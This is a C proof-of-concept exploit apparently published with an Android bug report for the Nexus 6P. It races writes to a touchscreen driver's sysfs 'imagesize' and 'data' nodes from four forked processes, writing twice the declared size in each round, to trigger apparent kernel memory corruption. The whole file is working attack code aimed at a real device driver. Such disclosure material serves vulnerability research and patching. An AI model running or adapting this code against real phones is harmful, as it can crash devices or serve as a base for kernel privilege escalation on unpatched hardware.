/* 
 * Poc for  https://code.google.com/p/android/issues/detail?id=221456
 *
 * the poc was tested on nexus 6p with fingerprint : 
 * google/angler/angler:6.0.1/MTC19X/2960136:user/release-keys
 *
 * Author : Gengjia Chen (chengjia4574@gmail.com)
 *
 * 2016-09-01
*/

#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <asm/ioctl.h>

//#define DEBUG 1

#ifdef DEBUG
#define print(fmt, arg...) printf(fmt, ##arg)
#else
#define print(fmt, arg...)
#endif

char* imagesize_file = "/sys/devices/soc.0/f9924000.i2c/i2c-2/2-0070/input/input0/imagesize";
char* store_image_file = "/sys/devices/soc.0/f9924000.i2c/i2c-2/2-0070/input/input0/data";
int size_fd = 0;
int image_fd = 0;

int open_fd()
{
	size_fd = open(imagesize_file, O_WRONLY);
	if(size_fd < 0) {
		printf("open fail %s\n",strerror(errno));
		return -1;
	}
	printf("open %s succ\n",imagesize_file);

	image_fd = open(store_image_file, O_WRONLY);
	if(image_fd < 0) {
		printf("open fail %s\n",strerror(errno));
		return -1;
	}
	printf("open %s succ\n",store_image_file);

	return 0;
}

int close_fd()
{
	if(size_fd) close(size_fd);
	if(image_fd) close(image_fd);
}

#define SIZE 4096

int write_data(int size, int pid)
{
	int ret = -1;
	char buf[SIZE] = {0};

	ret = write(image_fd, buf, size);
	if(ret<0) {
		print("pid = %d, write size %d fail\n",pid, size);
	} else print("pid = %d succ write %d byte\n",pid, ret);
	return 0;
}

int set_imagesize(size_t size, int pid)
{
	int ret;
	char buf[256] = {0};

	sprintf(buf, "%u", size); 
	ret = write(size_fd, buf, 4);
	if(ret<0) {
		print("pid = %d , write size %d fail\n",pid, size);
	} else print("pid = %d , succ set size %d \n",pid, size);

	return 0;
}

void fuzz(int size)
{
	int pid = getpid();
	set_imagesize(size, pid); 
	sleep(0.1);
	write_data(size*2, pid); 
}

	int
main(int argc, char *argv[])
{

	open_fd();

	pid_t pid;

	pid = fork();
	if(pid == 0) { 
		pid = fork();
		if(pid == 0) { 
			pid = fork();
			if(pid == 0) { 
				while(1) {
					fuzz(64);
				}
			}
			while(1) {
				fuzz(128);
			}
		}
		while(1) {
			fuzz(256);
		}
	} 

	while(1) {
		fuzz(512);
	} 

	close_fd();

	return 0;
}
